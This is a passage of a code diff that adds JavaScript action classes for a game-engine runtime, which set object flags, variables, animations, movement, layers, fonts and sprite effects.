+ pHo = rhPtr.rhEvtProg.get_CurrentObjects(this.evtParams[0].oiList);
+ if (pHo != null)
+ rhPtr.rhEvtProg.addForEach(pName, pHo, this.evtParams[0].oiList);
+
+ rhPtr.rhEvtProg.callEndForEach = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTBOUNCE()
+ {
+ }
+ ACT_EXTBOUNCE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rom != null && pHo.rom.rmMovement.bounce != null)
+ pHo.rom.rmMovement.bounce();
+ }
+ }
+ // CUT
+
+ function ACT_EXTBRANCHNODE()
+ {
+ }
+ ACT_EXTBRANCHNODE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+
+ if (pHo.roc.rcMovementType == CMoveDef.MVTYPE_TAPED)
+ {
+ pHo.rom.rmMovement.mtBranchNode(pName);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTCHGFLAG()
+ {
+ }
+ ACT_EXTCHGFLAG.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rov != null)
+ {
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var mask = 1 << number;
+ if ((pHo.rov.rvValueFlags & mask) != 0)
+ pHo.rov.rvValueFlags &= ~mask;
+ else
+ pHo.rov.rvValueFlags |= mask;
+ }
+ }
+ }
+ // -- CUT
+
+ function ACT_EXTCHGFLAGCONST()
+ {
+ }
+ ACT_EXTCHGFLAGCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rov != null)
+ {
+ if ((pHo.rov.rvValueFlags & this.mask) != 0)
+ pHo.rov.rvValueFlags &= ~this.mask;
+ else
+ pHo.rov.rvValueFlags |= this.mask;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTCLRFLAG()
+ {
+ }
+ ACT_EXTCLRFLAG.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rov != null)
+ {
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rov.rvValueFlags &= ~(1 << number);
+ }
+ }
+ }
+ // -- CUT
+
+ function ACT_EXTCLRFLAGCONST()
+ {
+ }
+ ACT_EXTCLRFLAGCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rov != null)
+ {
+ pHo.rov.rvValueFlags &= ~this.mask;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTDESTROY()
+ {
+ }
+ ACT_EXTDESTROY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.hoType == 3)
+ {
+ var pText = pHo;
+ if ((pText.rsHidden & CRun.COF_FIRSTTEXT) != 0)
+ {
+ pHo.ros.obHide();
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_VISIBLE;
+ pHo.hoFlags |= CObject.HOF_NOCOLLISION;
+ }
+ else
+ {
+ pHo.hoFlags |= CObject.HOF_DESTROYED;
+ rhPtr.destroy_Add(pHo.hoNumber);
+ }
+ return;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ pHo.hoFlags |= CObject.HOF_DESTROYED;
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_ANIMATIONS) != 0 || (pHo.hoOEFlags & CObjectCommon.OEFLAG_SPRITES) != 0)
+ {
+ rhPtr.init_Disappear(pHo);
+ }
+ else
+ {
+ pHo.hoCallRoutine = false;
+ rhPtr.destroy_Add(pHo.hoNumber);
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTDISPATCHVAR()
+ {
+ }
+ ACT_EXTDISPATCHVAR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var num;
+ if (this.evtParams[0].code == 53)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ num = this.evtParams[0].value;
+
+ var pBuffer = this.evtParams[2];
+ if (rhPtr.rhEvtProg.rh2ActionLoopCount == 0)
+ pBuffer.value = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ else
+ pBuffer.value++;
+ if (num >= 0 && pHo.rov != null)
+ {
+ if (num >= pHo.rov.rvValues.length)
+ pHo.rov.growValues(num + 10);
+ pHo.rov.rvValues[num] = pBuffer.value;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTDISPLAYDURING()
+ {
+ }
+ ACT_EXTDISPLAYDURING.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.ros != null)
+ {
+ pHo.ros.obHide();
+ pHo.ros.rsFlags &= ~CRSpr.RSFLAG_VISIBLE;
+
+ if (this.evtParams[0].code == 2) // PARAM_TIME
+ {
+ pHo.ros.rsFlash = this.evtParams[0].timer;
+ pHo.ros.rsFlashCpt = this.evtParams[0].timer;
+ }
+ else
+ {
+ pHo.ros.rsFlash = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.ros.rsFlashCpt = pHo.ros.rsFlash;
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTFORCEANIM()
+ {
+ }
+ ACT_EXTFORCEANIM.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var ani;
+ if (this.evtParams[0].code == 10)
+ ani = this.evtParams[0].value;
+ else
+ ani = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ pHo.roa.animation_Force(ani);
+ pHo.roc.rcChanged = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTFORCEDIR()
+ {
+ }
+ ACT_EXTFORCEDIR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var ani;
+ if (this.evtParams[0].code == 29)
+ ani = rhPtr.get_Direction(this.evtParams[0].value);
+ else
+ ani = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ pHo.roa.animDir_Force(ani);
+ pHo.roc.rcChanged = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTFORCEFRAME()
+ {
+ }
+ ACT_EXTFORCEFRAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var frame = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.roa.animFrame_Force(frame);
+ pHo.roc.rcChanged = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTFORCESPEED()
+ {
+ }
+ ACT_EXTFORCESPEED.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var speed;
+ speed = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ pHo.roa.animSpeed_Force(speed);
+ }
+ }
+ // CUT
+
+ function ACT_EXTGOTONODE()
+ {
+ }
+ ACT_EXTGOTONODE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+
+ if (pHo.roc.rcMovementType == CMoveDef.MVTYPE_TAPED)
+ {
+ pHo.rom.rmMovement.mtGotoNode(pName);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTHIDE()
+ {
+ }
+ ACT_EXTHIDE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ CRun.objectHide(pHo);
+ }
+ }
+ // CUT
+
+ function ACT_EXTINKEFFECT()
+ {
+ }
+ ACT_EXTINKEFFECT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.ros != null)
+ {
+ var p = this.evtParams[0];
+ var param1 = p.value1;
+ var param2 = p.value2;
+ if (param1 == CRSpr.BOP_BLEND)
+ param2 = 0;
+ pHo.ros.modifSpriteEffect(param1, param2);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTLOOKAT()
+ {
+ }
+ ACT_EXTLOOKAT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var position = this.evtParams[0];
+ var pInfo = new CPositionInfo();
+ if (position.read_Position(rhPtr, 0, pInfo))
+ {
+ var x = pInfo.x;
+ var y = pInfo.y;
+ x -= pHo.hoX;
+ y -= pHo.hoY;
+ var pMovement = rhPtr.GetMBase(pHo);
+ if (pMovement == null)
+ {
+ var dir = CRun.get_DirFromPente(x, y);
+ dir &= 31;
+ if (rhPtr.getDir(pHo) != dir)
+ {
+ pHo.roc.rcDir = dir;
+ pHo.roc.rcChanged = true;
+ pHo.rom.rmMovement.setDir(dir);
+ }
+ }
+ else
+ {
+ var angle = Math.atan2(-y, x) * 180.0 / 3.141592653589;
+ if (angle < 0)
+ angle = 360 + angle;
+ pMovement.setAngle(angle);
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTMAXSPEED()
+ {
+ }
+ ACT_EXTMAXSPEED.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var s = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (pHo.rom != null)
+ pHo.rom.rmMovement.setMaxSpeed(s);
+ }
+ }
+ // CUT
+
+ function ACT_EXTMOVEAFTER()
+ {
+ }
+ ACT_EXTMOVEAFTER.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.ros != null)
+ {
+ var pHo2 = rhPtr.rhEvtProg.get_ParamActionObjects(this.evtParams[0].oiList, this);
+ if (pHo2 == null)
+ return;
+ var pos;
+ var pos1 = pHo2.getChildIndex();
+ var pos2 = pHo.getChildIndex();
+ if (pos2 < pos1)
+ pHo.setChildIndex(pos1 + 1);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTMOVEBEFORE()
+ {
+ }
+ ACT_EXTMOVEBEFORE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.ros != null)
+ {
+ var pHo2 = rhPtr.rhEvtProg.get_ParamActionObjects(this.evtParams[0].oiList, this);
+ if (pHo2 == null)
+ return;
+ var pos1 = pHo2.getChildIndex();
+ var pos2 = pHo.getChildIndex();
+ if (pos1 < pos2)
+ pHo.setChildIndex(pos1);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTMOVETOLAYER()
+ {
+ }
+ ACT_EXTMOVETOLAYER.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var hoPtr = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (hoPtr == null)
+ return;
+
+ if (hoPtr.ros != null)
+ {
+ var nLayer = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ if (nLayer > 0 && nLayer <= rhPtr.rhFrame.nLayers && hoPtr.hoLayer != nLayer - 1)
+ {
+ nLayer -= 1;
+
+ var pLayer = rhPtr.rhFrame.layers[nLayer];
+ if (hoPtr.ros != null)
+ {
+ hoPtr.hoLayer = nLayer;
+ hoPtr.ros.rsLayer = nLayer;
+ hoPtr.delSprite();
+ hoPtr.ros.createSprite(false);
+ }
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTNEXTMOVE()
+ {
+ }
+ ACT_EXTNEXTMOVE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rom != null)
+ pHo.rom.nextMovement(pHo);
+ }
+ }
+ // CUT
+
+ function ACT_EXTPREVMOVE()
+ {
+ }
+ ACT_EXTPREVMOVE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rom != null)
+ pHo.rom.previousMovement(pHo);
+ }
+ }
+ // CUT
+
+ function ACT_EXTRESTANIM()
+ {
+ }
+ ACT_EXTRESTANIM.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ pHo.roa.animation_Restore();
+ pHo.roc.rcChanged = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTRESTDIR()
+ {
+ }
+ ACT_EXTRESTDIR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ pHo.roa.animDir_Restore();
+ pHo.roc.rcChanged = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTRESTFRAME()
+ {
+ }
+ ACT_EXTRESTFRAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ pHo.roa.animFrame_Restore();
+ pHo.roc.rcChanged = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTRESTSPEED()
+ {
+ }
+ ACT_EXTRESTSPEED.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ pHo.roa.animSpeed_Restore();
+ }
+ }
+ // CUT
+
+ function ACT_EXTREVERSE()
+ {
+ }
+ ACT_EXTREVERSE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rom != null)
+ pHo.rom.rmMovement.reverse();
+ }
+ }
+ // CUT
+
+ function ACT_EXTSELMOVE()
+ {
+ }
+ ACT_EXTSELMOVE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var n;
+ if (this.evtParams[0].code == 22)
+ n = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ n = this.evtParams[0].value;
+ if (pHo.rom != null)
+ pHo.rom.selectMovement(pHo, n);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETACCELERATION()
+ {
+ }
+ ACT_EXTSETACCELERATION.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var acc = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.setAcc(acc);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETALPHACOEF()
+ {
+ }
+ ACT_EXTSETALPHACOEF.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.ros == null)
+ return;
+
+ var alpha = CServices.clamp(255 - rhPtr.get_EventExpressionInt(this.evtParams[0]), 0, 255);
+ var wasSemi = ((pHo.ros.rsEffect & CRSpr.BOP_RGBAFILTER) == 0);
+ pHo.ros.rsEffect = (pHo.ros.rsEffect & CRSpr.BOP_MASK) | CRSpr.BOP_RGBAFILTER;
+
+ var rgbaCoeff = 0x00FFFFFF;
+
+ if (!wasSemi)
+ rgbaCoeff = pHo.ros.rsEffectParam;
+
+ var alphaPart = alpha << 24;
+ var rgbPart = (rgbaCoeff & 0x00FFFFFF);
+ pHo.ros.rsEffectParam = alphaPart | rgbPart;
+
+ pHo.ros.modifSpriteEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETBOLD()
+ {
+ }
+ ACT_EXTSETBOLD.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var bFlag = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ var info = CRun.getObjectFont(pHo);
+ if (bFlag != 0)
+ info.lfWeight = 700;
+ else
+ info.lfWeight = 400;
+
+ CRun.setObjectFont(pHo, info, null);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETDECELERATION()
+ {
+ }
+ ACT_EXTSETDECELERATION.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var dec = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.setDec(dec);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETDIR()
+ {
+ }
+ ACT_EXTSETDIR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var dir;
+ if (this.evtParams[0].code == 29)
+ dir = rhPtr.get_Direction(this.evtParams[0].value);
+ else
+ dir = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ dir &= 31;
+ if (rhPtr.getDir(pHo) != dir)
+ {
+ pHo.roc.rcDir = dir;
+ pHo.roc.rcChanged = true;
+ pHo.rom.rmMovement.setDir(dir);
+
+ if (pHo.hoType == 2)
+ pHo.roa.animIn(0);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETDIRECTIONS()
+ {
+ }
+ ACT_EXTSETDIRECTIONS.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var dirs = this.evtParams[0].value;
+ pHo.rom.rmMovement.set8Dirs(dirs);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETEFFECT()
+ {
+ }
+ ACT_EXTSETEFFECT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var effectName = this.evtParams[0].string;
+ var effect = CRSpr.BOP_COPY;
+ if (effectName != null && effectName.length != 0)
+ {
+ if (effectName == "Add")
+ effect = CRSpr.BOP_ADD;
+ else if (effectName == "Invert")
+ effect = CRSpr.BOP_INVERT;
+ else if (effectName == "Sub")
+ effect = CRSpr.BOP_SUB;
+ else if (effectName == "Mono")
+ effect = CRSpr.BOP_MONO;
+ else if (effectName == "Blend")
+ effect = CRSpr.BOP_BLEND;
+ else if (effectName == "XOR")
+ effect = CRSpr.BOP_XOR;
+ else if (effectName == "OR")
+ effect = CRSpr.BOP_OR;
+ else if (effectName == "AND")
+ effect = CRSpr.BOP_AND;
+ }
+ pHo.ros.modifSpriteEffect(effect, pHo.ros.rsEffectParam);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETEFFECTPARAM()
+ {
+ }
+ ACT_EXTSETEFFECTPARAM.prototype =
+ {
+ execute: function (rhPtr)
+ {
+
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETFLAG()
+ {
+ }
+ ACT_EXTSETFLAG.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rov != null)
+ {
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rov.rvValueFlags |= (1 << number);
+ }
+ }
+ }
+ // -- CUT
+
+ function ACT_EXTSETFLAGCONST()
+ {
+ }
+ ACT_EXTSETFLAGCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rov != null)
+ {
+ pHo.rov.rvValueFlags |= this.mask;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETFONTNAME()
+ {
+ }
+ ACT_EXTSETFONTNAME.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var name = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ var info = CRun.getObjectFont(pHo);
+ info.lfFaceName = name;
+ CRun.setObjectFont(pHo, info, null);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETFONTSIZE()
+ {
+ }
+ ACT_EXTSETFONTSIZE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var newSize = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var bResize = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+
+ var lf = CRun.getObjectFont(pHo);
+
+ var oldSize = lf.lfHeight;
+ lf.lfHeight = CServices.heightNormalToLF(newSize);
+
+ if (bResize == 0)
+ CRun.setObjectFont(pHo, lf, null);
+ else
+ {
+ if (newSize != oldSize)
+ {
+ var rc = new CRect();
+ var coef = 1.0;
+ if (oldSize != 0)
+ coef = newSize / oldSize;
+ rc.right = Math.floor(pHo.hoImgWidth * coef);
+ rc.bottom = Math.floor(pHo.hoImgHeight * coef);
+ rc.left = 0;
+ rc.top = 0;
+ CRun.setObjectFont(pHo, lf, rc);
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETGRAVITY()
+ {
+ }
+ ACT_EXTSETGRAVITY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var grav = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.setGravity(grav);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETITALIC()
+ {
+ }
+ ACT_EXTSETITALIC.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var bFlag = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ var info = CRun.getObjectFont(pHo);
+ info.lfItalic = bFlag;
+ CRun.setObjectFont(pHo, info, null);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETPOS()
+ {
+ }
+ ACT_EXTSETPOS.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var position = this.evtParams[0];
+ var pInfo = new CPositionInfo();
+ if (position.read_Position(rhPtr, 1, pInfo))
+ {
+ CRun.setXPosition(pHo, pInfo.x);
+ CRun.setYPosition(pHo, pInfo.y);
+ if (pInfo.dir != -1)
+ {
+ var dir = pInfo.dir &= 31;
+ if (rhPtr.getDir(pHo) != dir)
+ {
+ pHo.roc.rcDir = dir;
+ pHo.roc.rcChanged = true;
+ pHo.rom.rmMovement.setDir(dir);
+
+ if (pHo.hoType == 2)
+ pHo.roa.animIn(0);
+ }
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETRGBCOEF()
+ {
+ }
+ ACT_EXTSETRGBCOEF.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.ros == null)
+ return;
+
+ var argb = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var wasSemi = ((pHo.ros.rsEffect & CRSpr.BOP_RGBAFILTER) == 0);
+ pHo.ros.rsEffect = (pHo.ros.rsEffect & CRSpr.BOP_MASK) | CRSpr.BOP_RGBAFILTER;
+
+ var rgbaCoeff = pHo.ros.rsEffectParam;
+ var alphaPart;
+ if (wasSemi)
+ {
+ if (pHo.ros.rsEffectParam == -1)
+ alphaPart = 0xFF000000;
+ else
+ alphaPart = (255 - (pHo.ros.rsEffectParam * 2)) << 24;
+ }
+ else
+ alphaPart = rgbaCoeff & 0xFF000000;
+
+ var rgbPart = CServices.swapRGB(argb & 0x00FFFFFF);
+ var filter = alphaPart | rgbPart;
+ pHo.ros.rsEffectParam = filter;
+
+ pHo.ros.modifSpriteEffect(pHo.ros.rsEffect, pHo.ros.rsEffectParam);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETROTATINGSPEED()
+ {
+ }
+ ACT_EXTSETROTATINGSPEED.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var speed = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.setRotSpeed(speed);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETSEMITRANSPARENCY()
+ {
+ }
+ ACT_EXTSETSEMITRANSPARENCY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.ros != null)
+ {
+ var val = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (val < 0) val = 0;
+ if (val > 128) val = 128;
+
+ pHo.roc.rcChanged = true;
+ pHo.ros.setSemiTransparency(val);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETTEXTCOLOR()
+ {
+ }
+ ACT_EXTSETTEXTCOLOR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var rgb;
+ if (this.evtParams[0].code == 22)
+ {
+ rgb = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ rgb = CServices.swapRGB(rgb);
+ }
+ else
+ rgb = this.evtParams[0].color;
+
+ CRun.setObjectTextColor(pHo, rgb);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETUNDERLINE()
+ {
+ }
+ ACT_EXTSETUNDERLINE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var bFlag = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ var info = CRun.getObjectFont(pHo);
+ info.lfUnderline = bFlag;
+ CRun.setObjectFont(pHo, info, null);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETVAR()
+ {
+ }
+ ACT_EXTSETVAR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var num;
+ if (this.evtParams[0].code == 53)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ num = this.evtParams[0].value;
+
+ if (num >= 0 && pHo.rov != null)
+ {
+ if (num >= pHo.rov.rvValues.length)
+ pHo.rov.growValues(num + 10);
+ var pValue2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ pHo.rov.rvValues[num] = pValue2;
+ }
+ }
+ }
+ // -- CUT
+
+ function ACT_EXTSETVARCONST()
+ {
+ }
+ ACT_EXTSETVARCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (this.num >= 0 && pHo.rov != null)
+ {
+ if (this.num >= pHo.rov.rvValues.length)
+ pHo.rov.growValues(this.num + 10);
+ pHo.rov.rvValues[this.num] = this.value;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETVARSTRING()
+ {
+ }
+ ACT_EXTSETVARSTRING.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var num;
+ if (this.evtParams[0].code == 62)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ num = this.evtParams[0].value;
+
+ if (num >= 0 && pHo.rov != null)
+ {
+ if (num > pHo.rov.rvStrings.length)
+ pHo.rov.rvStrings.growStrings(num + 10);
+ pHo.rov.rvStrings[num] = rhPtr.get_EventExpressionString(this.evtParams[1]);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETX()
+ {
+ }
+ ACT_EXTSETX.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var x = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ CRun.setXPosition(pHo, Math.floor(x));
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETY()
+ {
+ }
+ ACT_EXTSETY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
